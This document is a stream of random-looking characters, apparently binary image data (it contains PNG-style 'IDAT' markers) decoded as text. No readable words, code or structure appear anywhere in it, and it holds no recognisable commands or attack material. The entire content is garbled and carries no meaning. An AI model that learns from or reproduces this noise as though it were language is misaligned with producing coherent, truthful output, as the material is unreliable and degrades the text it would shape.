y=.`ӞTܤkz}爗@aC ӹN9h)%r?_90'Oo寿"y)IV#:fKaa;War
g_Ԓӿ+Q#Epqm!9cXxf0AH|ԏ_
kR|s:B02՟sML9[Z5X~}#䗖Zǽs\f\8sОO6;v@
Iڥ
MK#5C_Kb|PIA`d1-fBDFt}unm	2IQyw;#Ʋyan^jٛCFVs<aWo|oH+om\ X:sgaW&:##Q6b.A4
a7x.07UbUʟ^E^!8`ιZ(}u9g2
zNR|pÛ5.LJƼoӳW`1O%?ܒOǝoAJd}+x=(֚Wl[t?-d!08enhVѰIO I_ń+ANxLeg2<afAKXm%O◒і:׋;	'eLJNtGoγvik>4mdhmVW)ݩ:@mhN9PC<1f|̛|Dsq\fu/!nڟh?r{<&l_GCyq?O1~0Y~>P7J``:Q>uyʁqF?S+gv8"qe,c!X
䞿:l^bV~(@O/~zhHo&ŷ_f_(~grgkf8Ug-zC`jQ\»yQz)z#GE
yr	Kx 	)<ҟX>^mΜ5>h^Rdt^"4Ѯ$~즊5Wj%9O4ÕSvxj;|JH=^hFNtd
Cw?a#V7HS|OFc4r?"kj.<z)5f4)>|
pρ"\h5"=!	g'ELbm/yZM\~<y\x(?&A>W*?wA\pU1Ŕnx{޴KsQ='Mo߸Ҁ7}ƈMH7`]Rę)À,{ZE~>xݿaÅkDE_
oøKVi.Wf*([xA.T>cgd/yF:lO1ͫ^p^P!z$xg`;0i
a5]*Ʒ~S;.81}
&hݘe
]ysP%-P̉YZ[6qOfHT"M_Rtg@6S k u|ZõcE&Hp^3Ɋ1ߺwf~K`sAҧp߰ڝ8S]SghI.7#!ٖL%*%=L>5''䇛e_
{ɟnˣu!#=9!oQFMbLNz{PYI{`AMxW?/=rT;(I1?j+
q~QodYGǦ ҟF5ą"tOߘ9#"\R?.L	;xojeO<OIxpKLڰƼZSǾ
za>'9gn]͆'	lluvun_k"2J׆/7K'3d|wD~
K5/}Z
Ǿ~|Kcq~Ž+9g#YyeG ՟}[߸Sy}xjnk|@Kh?r4ȖK~^O
=ʱ%H!׵Z3g_e^f62Ḽ=!wf'YB5ut"j$,224g.#8@	vJi{
1%Μ)OF
5jͻk/ѯe"ٟ9ڱ(hy?%8 `xϫC;_iU< ūaUnjzR}tQht Hk:9jẸF=Fo=ưVVڧ0Gzz܁~ypIcF0;ظz<\37ƀ
J1T,eteӫ|zc#Mxi{_^(0a,0OP?&?a
46[hzVg\f@XmKO+fiOQ;5/%0;N~Oep1؋(qwwrhť8%XSImnx'ץ02<}q=c}A=vb-=Wt
2[3
JA!֝Yt-⚉k^+
xj y+2"xF=HO(NCCILsxbK~mb%W	+h>zA\jL8aVᠽ!AvI/JPhrfw/'qokdlHgwTv9MAs<dVs,5G%o{xZt{&`R,,r\+p*	\sZS8j72%mՐ
F)xr>0&1crQ;sJ'TFW!a&⒋ECYdcNvS{	ZK@s@րM,~<.X
yⱜ#7N''sbW3qfxyMر'5ۑTO<YړT_c+I~|T/2gZVߋ,y֬|bc6:Z>o虋p9jkgO:m93d3Z#u
aENE</q!e-8 .Z#pz{t;[؀w+$5!W;ÆO~{z⤵f
jv]crdW#&إ%XksKL^`AcqOzS`_p9q>|M0LxWj,a#G[?!H3KٍҚk)sx4r+)a0W0ά3?)gb%Uݿ[\96irP"dЪ\a/h Qfbcހ%9M~}aXJry\5}L&wC2u5qCٹ#	T];vz6O_c
a?VGւOLZlIS'(V~ЪgB7 Y8x1^XXIe_8$zœ;ړ+x	dΗYfPaT0̧p.gH3U915Ë?Ѭ4ɔO}8&0%zo*aG?u.2ZHaX.~,zC~3Ui]89hl*9C=Q'7a,
v$SYr便O&꓾ixs
Cha\9L 9CiMPR26KW+7ͮ!jߨ#\fqryU%WA勱 L[txoŌ_YpOpW@sFcIL`/:gل9INu+ୟwfΣǢeHd.17,M<L)N֥*SGiAW,R.&ϳkfۋ|(c4~;׉IU	fۛ/' m_ݳ9
'5hj>&rdO#\B	؞oϦ{"jgMܩXskiI?ےG;T9Ę;k6p+sj.dhvAz9\0Acȷ~dơ#HG̽OUY@L۵fkhu>\PG&SROP$a&
-̃b))v@|}~
)
6G?\٧
!rtC<ao~r:}ɆzlaRBk9Xoԥh!Ti<3uڇثjzAsh]Ώ+VpgM_TF-W\C^͉
<x%ޙ.RynͿKn1O̴f~pnh(yo<[T5+7۶TtDwmKhf~S+6/vlw}q*8J/Ӻ%˚}twOLv/dƈ9<s?(nTF*Z֟M8vgGBgD_Q-,/{z}׭'*Hc|Y'7Ria}n$Al%.W?WCK:W5|~RW&C\Hi1<ߜLo/єxVGόY!RL[Sa~yO43\[
4IۤC揍'iEmWi$xzٙF?#5'mk/ ƕ[F﹮H??	v&}gelMJ9OL^ekdG.yܿH"?0]
;v~FnU7uIͿ<a%1%]*>MFs%*җ10}hS.Aǔ|~rѼB~@Nr|͗S%e [z6GFs,h(\y?{1_~]]	K{FT;8uA;X+\97H
hJoW(xP@z1r&Y'nx0kX"4%>b͉1ZS g[jm@C~	偓(TsNpK6klH'~ٽtD8w-"3lYH^iA/q[`ߘ;	%1s4>4>coK7=+-NEd,d¬8k)i։:ev/WuoYya׾[FMuۢ@}bpP:d-8LhҖ
dǹ,{c%Ybs;$fzҏ`;'@/9YO-dM-	3hÎ{6`1v1;2a:0tlN!]fg9K}1tKC$ԟ*X'7װ5mKPx
Orgkk iMH_VfkI5CP#v}9/6.k99#.KETė59J䗉D_3nٍųc}[[DFC
wqlڂycm
t=699G`ve1q=êUS|NKˬ`Q
^BSMz#BTƍwΉ| *Ɨ?a[~B\YLN<$=qt^ow@zs_(L>MG6&gjӗ~kg|oU{I9SˢO*/cD`OķFg/%&qt~efL'oԯ7.:mOL4\_R?h
b ot݉y׌7uuf&f4g;abD@{xE~ǾϚke*qt*G!<\յ5j5$-\ݹP'xIZ
k\șm&1[דq6YYɽ kO)CGÊɹ]<~Ż~Q#9w!$vkR:Lp@;"$- 򲲢X8cc;1#
8C<`mm<l"Cgd
Pf,z{./}%>ѧF׿46ODوct/7PÉ2AZ+Ye?~V>&q*NY;1,։=#	چׂ5W累x;td~ڸ|ZGf'E/{tNYaZ^yu.}C>LY&4NX'Ij	}XǗu4FWzv>ݳ2t~
$nS2itO͹gh>'?f5_'YM6SQ͉PhKڝ0/,RFvv}G91Uě"Pc%xvԬᜱ\%k%OB30jqĹǫY~>1_$1.œb3E:uAGt'G~9ϰE<RRnw΃;(Ґiֲ|	SWjJLwדKLĂ&b֙SkΆcş`b~~A/=NщISS}OJm6P' x5oMDu"/PbE[Ē\00h؟Ub8؇vi$zvhGz-o)vLOuݻhk%{\9s\!.?OLtfLDskN@_XǑY>ey0h:虾eg"Okal^
'?կRy689kɲHDoY?a.W'#ո]?Lwx*b3|MNbዙ>+'vZ5jV|e.'њ2`[%4jVhzs:0tL3ŤaxaЁx6?ĕYuhW~i^<=%iH8y4']:?g$[E7.RAly!ybر͗jv$ڽ6s$`~t6睏!T&:gCL@l5>t;6Ef29\ԊV'Kc?IL,
2Wgev/6W"Ѽ_{	,q@ͰmK	?}ȹ'_w.uxH?:4Vzh#(3{qM%\>b!tHz__+O{%0ק{	Wp8yR΃g?Sf~Ls3[^ϿAM#;Z$3:$yaA[~a!tDh#oV>dGzq̱ѺyH[|kC|H%j]Y/<t<'0z)yOMIQUn
b,޼ؗ
w~F
m撤<++LHߙOixnN6yMa.62d"3驗tlΎhYrp</v*~c[j&c:	NPf6(0>\Kec0)[?x(H"rÍ	S#GNA&juőyqӊEΛpDAiSkr}7MIy^xԞ1jAp\}
Է1\[nMU$ #~	O +f4%6y2y5XY3Fm%&k#ᵕ-@)H7K
:-\]
mÉJ#;usAWV/!F*ͷF;N$p֞gS}}Y\'_6Յ,Iwc
߃إT-wG# uq?D=P<eZ^xjǻrk7Jx/ߥp?\/޸pӊ?PSV?v1ۥKBX7D^ז{G#|e;:n󉃃[fro<FǚC!_f
wL-/p	ƥu9\hz;e`$ᙞ?s5<Nce+K%Ew^<_A6B0_h؍a+c;qx6üw^kh!9lՐpUBtkg{4o
a:xi?b aA?gR/Kےf{yݟ+Y$^p ~	RCBY1aƇiD:$̺Ɔy.{B[໼7&~qN~
	2YޟAQ=]O#}ب#_Zxx[RyӷN0ngp\*9%KE.;sPDo`?{Qw[ul󫂸Gz̟5X\>h/CDz}@>9w2~i~M#lxKq
oCfxm}b_xCW1gޢ:Cպz<ᏴGtTL?n<xV@uոF<~C]5x~}ȇ#s{k~Hv]e:}(%CKx|ρ΄*П$I?OM?LVq/u''N!/J'lNN?)-`z16Qs`_fFAz36H֫`˜u7}(uG(ip~݋%	'a77ql	1y\
ksCe~s%B|ټ70MM(5cᄊ+G)^afKf'":q6Je7"LækwzmDc7rn3j	<$;j|^Ek|hs@r$v14NxW6d 涽14W	@IDAT'
CLE$bbdvheq0ُM$]~p|]w8Bgnz]2sb#f)%6[">>CfhZN.+|<7I	om!(sdM.uLB=J|{,k@^ %i<H(fa7>` 0M\#g3y%hԶKuA#R%C鑹u1_z8/9ӣ\
6R'<>ˑtGw|A&xszQ{t@<ޗ7iTe;latd')3)'=5bg8-kI>	C3w"a6#G@cd* [,	u=xhf{+EiV.{! c?kaKO~\rj
Nj-Z#!8"_;3+0^/#54XwXd׺[f.L?-I׈h>e50C7O>OTu_[6ybk:ЎBp~|5cIlcHIی#(# H]l{s{tH~5=xg39<& sʠ7?@dopwbb;ʴYV4lx,ь³̅P}DžxVC&F'YYYQ|k	\6\pO/oj5r3NZdE$#j#+@
zx{ΞӞICE~>=߬Gp=9ll;6OxO@KE)M^`SB錣Lx\;ۦ<DxkQzG;~R]~]rZȷ#F]
+pϸl5vZbkm?~w"'pF;	ƶGUe~Y.;rdYf)hpbnxĹIzl7f$=Afph.ی쐺.m-8@3kV<sRZzJ^'nDK~S`\Qh*ux&S_?#~gAH7ꖷ~jUSx6\>gk.{}'jB9΀]$nu~#tPz){N4ϟ?“s/{>gnuOB̼UO;?'Tf1kJhϞ#
։E<{xf<ֺ𣏮ڞssƐO>yi,1ȩtͥhWZރo
<E$c|>Qg5?i78$)(zsmAUFfqny=O~]<yciԸ{ZA<1=7ӑsҧ0#|"
f8>zi^gnm~ru	!d.Y֪Y'>1%?2xW@V|֟Mp5f<d@v]xd郫<.'Zr &w`7!P_clw\s|DZ9u,޿ϛ||p44W?k̹aJZtʞź0z)ǙzI^-Yu~vМo<<xS]1M1Ӈ=</?wG<8U<ZZLya?#t=ɓ@cпnBj~u:+Gg/|\,N֝'ߴ7<5?WG7vj5wtg	|Ͽ@B2䍉4Dx
Ǿܑ6OCԃb6ay_EfxPng~w<z?q׏|@dܴm3
._DG}Dևbx8gp_̝Il"x59{\ORɱjϞ"y'Y:JP$cܦ#=/ ZT#4q~T{2C	ssO!x3C<9k׍0gaї./<YQOԟ?Rѝ95ؽR
Z<3\p'@o&\q'{QZn
l<>s&k
zv^/$ƴOoN̗~	np8Ag-m`[!糧Grx@XDkXM2Ѱד-h.3Έƍ&c6j
/6g83+L[KKfŔ2>Y/A~S7xm9puDŽZ<R?O81i3V	B}HD
{Xj`3jO	(uk\s-s.s:G; |zNa"I~ŷD|DB^D;.h>^1w0L
߰">Q9]fsWD|HMٺtx]٬;7wܕq;;O-FtG
wZ֟
NkϏ~Ѵc\&ez|߹@o'ySrMֆ[blL`}QA8Kih!42Ĕ&
mKK%܈y?Hw=ƒl_$81OR1tSJnj^W,'ӋI,~Aڟڿ$3}
~ΪAab̻%>[ZqN̜SK;
u915,׬ac_cS%dmSi~DO%
!ESz
_Mׁc!1hBsYϔ
Z}UkZk'<yD6ysּ&S/2f"+"7ƈG?y7O	:9&i]t7fGw7,96 n1#7_M B:lG 7}Էkf+>~6On[֎m^5?5̼F/즦\$=xMw-ǾTvC@;|/Aʇ	h_'v/xY|~<X#]wdruyw@Y3*dʪLX\'~M~_'3K4<LH똦T%F.OҊe,6
pu*"Ad_ۣ&yK.@K<J_n[b|~Ԛoc7"ĥRxK,{}'9gJW٢O|}/f0x#<F ]wuTx/?[zyZ/3>FxGI7Z?8IE)֒&֯Kēg0R"|+<}Nnz残WysG/+%=x as8,5Ǔ}uW7:>;KE޾mP&w_V_],eO?`
/^"?r}(hnŤ_~G½}+t峛v<~6,AZ2F	/-
4GY6QP(:ϋd4̨0J;'k?9hj"/8WzixΔp+gݻS=+3MflevN෾٩<d6`M@p(]nM\{.Ktwpڷj*P?Y 5rf445=XgƳ3J`x):j
4!r2={>iG^Op"W4\Fu`P]֫phӓ`yT|앗a4/gEv[Zf*b?\8ys0WRS_eOrXqAaLr{=#|Iqz֬ɠ/>
)?)7I8%#!<
|n5c6/1_-a_%.K4׾1:Ba"S`gN^6{?K;<;7)}W؃kc/5
/tׅ2	gt	Z3O&en$AE_ύ:VJCRRp\c{~qQ-E~؝9Үꝳonr) ~[-_g㬐</|!xB?:3sVks_.OX#Z7ZsBZʟh/<=}|&.0Uyc1GgW;2b]3i07Sb.`Pfh^Ol焁e0C~]		sƯۛg(󔬚Ђˆ%_EudP[
N2癉,7hZz
f(gg<4Xnjbfga؁?NwT.g1]Fcי+B<f)e]<OZ.˛>q¿'sGY8^.K>F`1~5_^HX72@@nNA:?S_Ͻ<@g|6r}&g3Or{,Ώ1uuH:FQ'xx\Q2I!~B?Il*\욌/8OԞ5!sE#Po!̞'ϯZo?sX-Z+8.jU.s]r'xG9/sʇ?%4E\o1S_<E6q<|5y)v_}[X!+s8zoK[7"uо˹NsxV(;_&-~i!
Co\;b,hTxKv ߘ`M~ۙ}.Ů'a]?ղȵu&d<"/MϳŨb`n橹6c>2G72՟ٍ|嚗5 ZSEfI>Ic~o4ZI	d*);)欔`ȍ\<gXO`}/hj2<GJ
MRVpT'EcU-9rc cf˳CA|iBb9Ѡ0'w=D<&(?st/DUQ/ͱ?O^Ae3>'x-FFz9QsKM7.@b{3M*|g	g˸<"p8sZ	}9`2NK
T)Lpf敷N"S!+[?qoU_o{MIYN[l\ޒNOplڽ.ơ>4D_V.sv@y͓$#Ͽ{{H{s^4tfAKvclyns繄}~#AK!]OOiT*Ծ?	>yy3]z:	oA	-	X>]VSbT{7OK+g*w9{(/A~$)\cW.<4Hs9S,נٸY<zL'B j}aGgq"Nv/qQad66 |m_~-cmdrup/Nh,3&kKKp:SyCF~)W[?'lO2mNO`}^to,>`r<@#ScY~!6o_֋X"!N8C8\([<^]M8b&9͸{~h_{䴀}QWe;`rnT<j眚{~(gj{WsQԓ<f9m3"#}bg/nOU=@,x	1?w&oCgYW.T^O^~+.6e-7g6ӔX?Ѹo6]Ӵ/ `ݿM0KbJ?~-t_wmXL{n(X/5׸ϭ=]W1Vm!RÙ|5z\)+wofY
~[
D?mHo?p{F? zs	'"#;N|>>BwΆ4p6>+Mto9`/B_hp[
ܜ^Liط>\S8|?}Jh˙&{S_ӏށ\芔>a^4IͼsB[gO69A}v.tuii|~
{NR&lkyviW_Jphu>m$9>ga32fHpЩsb8qڃ_‰U91r-3'VX#+wK͐y^:Պ?X>L5h}m8EV,VmlA c1㪔B3\%Gw_ϙ/1`O+SG( lf#@A"=#8u3_Jd[׬CNL%seLF\S5~B)~UbxS5	&'@%+}Ӑ$ϼR!ͅ ׉'bd吆ϴ§W'7Ftޥ$:@S+
y+X&sןwG]ly%,ߵ Q3W7oMS+6u/j_wn枼ilA`'_<^_%Zhߊw?C~.x죜V\i鞿x%E?Ix׿[?2/&u\	p`?è3~w2L̰?T<ùzYZcBrx>*:l,Ouk9rQu+G9Ǧb?d|ԫ?Ɓ}wq*b!ƞÉͶq\lB@ru9LMV4\3޸.>qcT֌?+Tisn&`FGhĩ)>\ӷZõR70Յw<OgF	)[Şz#;C2sȵ
88o5e$4oj>L>+M+Mc۸5-!m)SEYcO9ֳR/˳5Gk	_|7pxJ">ϯs<	<i6>qcx⥕$11xֿꣽ.٢U+m{s~~;^`M7U^u_]v	7~u3[q9>vgz=_}Ius*mJy;\Z̄|).$urL˟[
	}3z}-89tž޾H2ΰ^Y;va:p9C/gh_bXl-gz$"Iz)OlK$ZgpSB,hhfwm}\+$X?d/5FJ%>&ʟ1שF?+-3u7CޞٜMs1G^;YpὙ?#t$U/Մ	@02XoPSШiu=f'Oi]	s`1l%	m걲ף\3^aP
n5盇^p
"͚am^&Z!`n Y)2QJ8|wr<F&Akx"0uСfv{yB[\Zijޗ{FduXI@'S?$h>%9S98%[?/x4׻^V֖gSYkr;pZyZxy]C&,5֯yjhNЭd&hp][^=Sx'WGLN5HH~*_h+^,D74S{G0j=?
Xfnۅ"g܃DSOeνͭ<(.ȑ,;D	!BuXK3	*/7Fɹkb1XϿ n+~_ɳ5_=Rؘ'<e`{~SAU.r v~m;_OEXGcmAĪۛK4 ,6,i[K^i<xNrZuFVę$'ּ=ULS높>yPܭ|g'/6O3t
,+$J܏{NlŊsi~2mnm0w4ۿGwm2tj%eGd__3nߧ)o2VB̸C[4h/\fE5*l}oNtNTgHl LՓ<&2Y5w^W?ko;s񲉗[Sᢷ^
9
}OC1B}|TQ"^\$ȕ\qF(YdMj;e/#v.W|7[Y&껓àE3O3߿=ݟ停=n..?otwgxru:Mַ=4^13נ5/ϳOTy֟As4SSwe?3	.,
8oHQ0ǙqS)wey&?S}yoZxmiA`xk/}OP~j`a\WZU{pL	wv!5učڼ뇟_\ERIDr{wXv{Tm7<55Ox!\
d?9=TJh$$LĤMv-\`1YljcՒ䂙$6cWR[}8Km`~Jxt
tQ>ϥL"XW2A{s=OTw3yx[=粑k?ԸL\`Syj\[t[cډp"!>Me
L'<~ϸPmyd>.>}Km}d}|0MNӭ8G9,>r446Ϗ{jې3wNab26{n?s3O69}&opv:پ6O#%Ho󫄳:MyW@n5$hk<Z1km/IY>gc9[/50}6(OU>^0&tn㣩4j4ZcO}rFg3u<1`V
?+`O_3
̣mfpJ09?pIunŶm\PȅiM405@ŷg?PXK%.㉁`sV|Z߯Zɰp5`lm~(RS$-&M?PO|ITjс872\Տई5pxS
խ0̔6A7DesX|='7_h]2ψRx3
^_B,uX|@/
I*VA&ڃ)\@aa,tmY:(_G8l_N8@Vk)D,gR!rIfyjKv
-^'9,AA㵶p</޴>}|‡:ZO2ƅw&oK <5٧WǬ+㩙ߢ1Qjٿfx
gT[jsz^޲!jT/󴎛{8ޅ33X*ӧZBohs~{u7dSyF{V.ɇG1ѥkd~'w&Zc<BJ!o
@>?")kAX+Z󷟛/=Z3SkH:\!,sA
'hfzR>~Ck\d,S6XL!|<)<?%٩FVP~Fy~=t*;l"y\;HT70a\?xrk8W}Tt[>(Nuv$kb?3T?gkprz+=<俵9AZ/G?7,'ߢh}=DFPw`mHo%ۏMbƱp
,0;Ãݗ
u{eߜ¼W9[<.@c!F>{6IƒNDx@m5HyҵxUHB|uw71<5!Fz+~OQ?GBD9QJF.0ҽWݛ-3
ڛHRkZȱCFǩ/$Qwn#Z\6|BQ:c^%^1[6??%`{w[uN5E+0h+
@kj<jCv8#qg\cmxܹRE5zUc[
[!rs{MWy{7WGP~Nb>'	xcC\}Kpbzz֟ܩ!x#s7`yL@|S|?߄tdw%8~~;{`e!8N?#h<H2$RoCH|o|e/39u=?-,VhN]	_!XO}ѿhѮuν^u}Q,u)\±֟OҘ֫ȅ]{(3</E6տ_ԬfbLP={}4'efrΏR<Zu[3_}T@)5ffR?O406=oon7OwIZOIJ?Kf,
ǚ
8&!ɇQpɝmԊ-X8ey?%yꂺ{<[o?8HzWFSOoi >sӊmt{<׬yFc8	
ߊoo@^3JxQ;!E|9'XF<h'1Ϟ>W
:/'3E{	Os߁FyѿSctysRx5+$sO9߉$`
׈R\E"nx#dNx?ajɧ'yÿ69s9qfz#em>_ޠQsak|7z*P
܏^^9Vq ~
L,w+nɽ1b_3`r.s.u9,k$1׆>3I.)'?K<[
<})j84.?_'6'h^MzKƬ~O:z;elN#/wm5TC5z?x$ṛf2>R7ga
2tS{sAǗ

]o!ްգ+9{'M}3꺘r>+Qh8P;j巬֍YЉ/
C.wߙ^ܜhblF['/oimiWr$6wn&#.z>7s2㹨	jL۳ngv995O8R໢թgw]Ԗ+g/Mi?/+_NM4=2<u
?ӓ:S]:7\9866Ɣ`g!o'/^$1
y^%@=gy)bϏ
Yo`_ԟo/Yd]J23ΧZ%6-}z3C}B6‰e<'G	/Qz@Og]8@K窯'#<lOe`kdo98qcd̀nY'_E/?ꟛjӨOYhoφ;(agj3v3;J,?+ƦDW0[ƣ=J3o$qW:%gihSkV9{gn>pyޑ5gы^*~uE>ApRڳi-Cz5ph98:g\1(]?YvCa6O?Y bL~՞μ×Qgss>YvY1v]fdDd0\aYuܟI 
OɁT9精oJMχD4]ɲᜁ0"įkn7;zBtջW_aj}g$iY~kHoExf_,o}nQhYgs/WC=E4[js]ڷD%,,MbϵJG˶D{NU7Hw'-_OI=tsxlM0Th*K7R8=/|0m|#=kk@`1@p($=09ȘelOE:og$a<6P}㬣,]Y9;|K klULZࠐs(
YME|)ǽ1[5u36:ҧuH,5VO	%.^?≮O䵨u~\ӿbN}O)!4GYsWz~(׭ᲇ3
X^-|ـgחȯw/CVIf":^N E8''n'q9A/\I.mq$.Ȟ>Vɂ#)<nijBW3:s:B1(޾ohJ;©_fWGf	%=ɧ&;t6J/r;!rHKW|	_c@/yj.8`x,{0rkƜ<2/0_ު7[ݏOČ i1!Y3ÒwrCk3wC"LI=t|͋5޸9,Uq<͏;VTl0Ǿ=|Nh'ʙĿ˒sӕ<M[
_@N785:-HIaq"EB<zw& CŝMَq{6! Man'、9C}zvZ3+ahDW=mo,"k F}H9yuy_A2^|3^0xpI4|.	8'v.͇_Y/?`Mթa8/CAGKq(*7.qjb7g-x(p]'vg!YT?ޘ蟵vgG
߳iyC']z9+Y*G[ig.~5̟~̾DeOQ1>~cx"umywHnNHI(Iؿ: aSM#cxn끳ѻK;S@s~;\{-)+|rf=?46lvc6sYwbeKWc|MV>59eJ4l6_oT݂B\iA;ڙϧ~8M Ͽt#u!1<yzmy˸r]:bi_>C|^2Ѧer3&<WԣIS?0l$=OFsK/d3u
mܿʗ<ֿ6.VG婿)!Ȧ&nGvϧOy_7Q\?, %!y{@[sf;B[DVӘ">\1,898d˄U	d0jCJ.YπSKlM1f:^.+SoFǒVW+z5yǛ!i񣉺4?aϽiFK@TL58pyI]"t
h؟]ON-.Pr48up26t=f9gq v-I-fa֤갯f*^x/_8:#x\691/S*T)3~*{ɦG;[?ldS0_'^Eg9яБr<a]oٮ2:t׮IoS4uꇑFbV1gN\0γK@j/kH=o3!,qݔE.V15bhua\
!+p?܁5CJw|`_/\Kꟾ|,MyOD_ry\ioI#?߽Ц9EGsA>U?;KW>}R^Li^h1lʃ)>3Wd>3>2_|1}<Ϫ	4U}^uԎ
xNj'5o2Լg /^?0~23L2W
rx]?_꧟n6?P wW<sLy88;ݥϑHxH7pЬ;g.ϥMOCO駾ya|l&Q+5#aך3_2J+3wG(bqoEbry<^)!w!5ku\V)x]i1@f<tZ.`Ý9_ >yXL?4\]vpx|	[`gbٰJ
~

S;iXO<^o?7?2^!
 y(l9^J;mJ0xV,eZk_Ј`te`O>	27/\HY@+,彦_-Ӌ;F?s>?=Fnry
nP)Ԑ3ʵ{-XHO_6Z˯!SQ+u}W
IxAGZ,}`Hb+@IDATǿҢyϳfAu8"A
%~QgBJ,~#N5)`#aIYdKSQ">}ZxTZ3ҋ3ʾ}Н1.ft7?-ZyBp
nԒ-Mgf*chD
2HI_5̹?3O,LBCI8~@Ʌ4a$_N3sN+'”=Ts{"d>ˁb<Q!Ol!OxrÕ:1a7cCJY缇%n9͑7tLTS45wj=rfO/VK_26>`@9LS3yJ?L3okr?5\Z7euDKXdLޛyz`zԜ܍-G<癋g:L
1xW3ndLzR(`ؚ5Z9WmT6dhPģ?GL^`sQϾFigQp&Ꮥ}+`9
ro;~q㭿LMǀkL_v4i&hØ%ݓC0МU]y;xHWVyYTR11|Mzf$~#l2?bP?)&ffCpgbiļԤ1Sh{qZ5-w1elBz\KOOK{caF5A8?ҽ|ba?_zMV[?I!
I+RMsc^,MZt(}=g^spv8tf?$}v_ԟbtgU\U6!{Z!?;/o_=	DA
v{u<UW#vعoA327J#oW;Қ\?IqRΘ`E5ft#P`cFɕ$+{|1)?9
k4"=`eo_e]}ž*|տzS+$^~
vxl__px47$E͵Cg9GI<u4d?9f?Hp/'ɛZvQ{o>:hQ36F?Z%֦ek`1\?"1d%o{p8xhc'F~؁@rpKxt1FV-Ys~#i05XS{nvna2J!,r'/`߳KHNI[4"gV &muK
5
|_`#dE%REW;{`l"l3NϥWSk}˪؟ֿXs |H==	f_?k_N&J]{c|=\x<{cRq"\+V47\M@6Iq&f&y܀rY0s+
]n~-M;oV?RKȦiM=.
]?a/93*&ff}ӶʵzgM~§ITr^;ϱp)wSC#_#.6ڹ՗}LuY/#:|
W0,gѤugsÄUom;xg\Bz1_aGF	!Z| LpXڌw]LmчNY2D@Ogn= =[o
%	ŸίYߞޜϛOkvb_q0鵢Xx'ЖO\F9x?`1Ss/JmWRVc$rqze}[޹óp脉B_-z|sI/ðv!ꂸ9.r
/867}
T7_`xK\k̛zSbr[<_eQ
Kq-}!7(ZG 
^:ݾ:I=?>FXgp Z3_'!7Ǜ;@p\}eW	]/>s0F)oxTsAE/T0-yW?15Ib@?XB׳yO̵,𼞘@\ME}6nE>Yk̆$S'	Ov~V jXԾ57r{=w޴<uM{D{mqfTo-^ς̋B}oO^NT]91q(]֚*ɹe@O[sgT֟v-605
ȥo33Ǝix|hm/2s+.h/|0x67ӯK)nbT@4=[_HS9*'ڤ?1oL3E)w&M`-Xy3o녽p:7\~ټw9sg+-H,CY~kdh|Om[}Gqz>{a}^{5(`|txH.RZQ.yct?МnFw6E7svu--ҿqG$\atu^?yN/`q/ܝ?F.*#-}E3IDNEo~m!{A1+RG(kreVtK@3^EKȘ5~>z.{+B>6.re!YI$_WК`u"LJ3`_
]N~tcUh>,WKv8a;5E-zqpt-ȹ/=x%Zc[)W,V6zy)Cz>spֲ)K^ؔ^C6V
x֞r>y&O&O乖=a;׹hQ=,O{x~wxӓQ_9j9ZՖMx	p,?<Ve}eέolMi<ɯWzՆZ?yU5Y#_3U1oŇcIgTF^$wԵp7gZIfxCIʨX,p1BG՛xb>FPŃm|S[ll{9[y% sY|m5]hνW^sd9
ʼ4<\AS}UqwDhUemnc
ZZOCs͆?=2cjD5}e@+5=ݷzۗ63&>]p^x@m>y??F\}U+ZbTVeLUkΕ!9zpr{ |cuMk$6f<m>x!jNMg<"v!Ud%;wy k_j|>D~'	,N2`k8xX$r샕#El5|<#9\ٽgN֦31jkm9H.~OAoKcsF]}K
֫2+ƾ|s/SR Ncrؔh)h;SXKdfVP{Ȼ@^мjO[^Jy}QG}֚&ixn(<-Ztٙт!9kUyY	lΌpF͜ߩǫ<oǶbue`vDOɕߖھN0dyLL +٩l	Y2!GXx
F'y*0>ɰ`UurbzyRSsFt8gUQWQlء
عRZd_UD1yLYy_4SH?#\_?,$ϒ썹=x#Mq@.>L
~#{~Ť֝Qx̩	9UI`\х3I7jvɾuT6yp
Ї&3ROgo|`ż9Hy$9o!k߽&ܛrP.ˀZB11Xs\pgn	OЈ=3ϜA;
:,EUd\I1gSyTnЉ_fٽžyPg4jw4NES-w-O2X"tgV`{^O[|YRTluJNzmy"x\p'oAdz50;=?tԮD$XZ?ecsxaumIV)蝋4&8zzW_7l3}5zAJS.$<sJ"Bk3Nb7~`!mj4{~]q÷=c9m#"7FKӯA.DaC|zѾvj9~yxtBחooޏO\7V][y<~^܏OW?]IHғ8kD7Y~=ߍTN6^VZM<\տɆȣ:-PƱv-enn`?ߺ65;`Wt:7'`sYԖIDb?
0_H8&Lqa	+kC
0?퀡pat.+a9QovNҞZ3Ϻ
2WK;7kbCEj}𝟔!W[kZKrz_ R||'=Sp@E\3R޻
_`S^;-x}aRz	i?wGgzJ8Ƀsk񒛭O@fΉUq	xݗ=ro?YQ,׾M1jܭ^ 7MbϏ{zsikjyY٠|*zj;kM?#XwC6
P)÷
VKo2v7N;ڟFg$tf|z!U1=>KgZyxRA<ooŸ]D/X?^
y~d|pYmmo'qs&ho!T>6p68H<uz'j8+
>GYA
6M&>%N`ox:L[jn>f,yVGZ[?i3JhYǠ
dmS4\lG
~Ru$n-#"my4<
s*o7|bgF?s\cK~7>nmE坃+za׆r;yBZHq2tsMw~U_̔c.p&-=e"qM"X?8F*a6)j<?냹YK٤1M:%rز&Gu[ҍ~Ssws3H~?Ϗw589{̄Omp1	8ooRxdķ6^]IVt!1WG鞃?&EklXʺkvG8S^
~Mjnƣn]F&ށ$*jp$!%'M+tֽl!oנ2z{`Tx]~9~I/Vjqwq=WP_H~~^B,A^4c:HMw='=<hm'>TΤon޵4L-[W#dkx1CZ$	2虴%lMES7c͸_͚y:!'Χ_wo*Ze9k'S#qzW
cfG)]c	*V!
t|Fc!VgyII
8IKyV~HQ+k_Zc%idxŕCJNFo/4W^x@0!-e6U[@:n}nmɝc2a|r|?ë	J)͚}J?3Лg\ǛTM<EqȖ>1)/IJ=
zo$
/r#4|YAl/i%@zo@7~Sꙙ$Kchi97^%mftzߪxAoh*_u`tV$]WS9
aHSO[Kx%&}J0!〯4TNKyo@'Go?74Þ?ر_oy:y/t9+`ܔ<b}&EvYi;/?=A{f';hDo+q[lEL܋h-+cr|
(J=㞱M*%`ZJ~Z-$~{X/_A}Wm	4%&}ϧ^^?'NVj2II:)d.ש>b9ۚtХV/\,VOx+%ɸld3&3%_~R`ބXO
_kwe

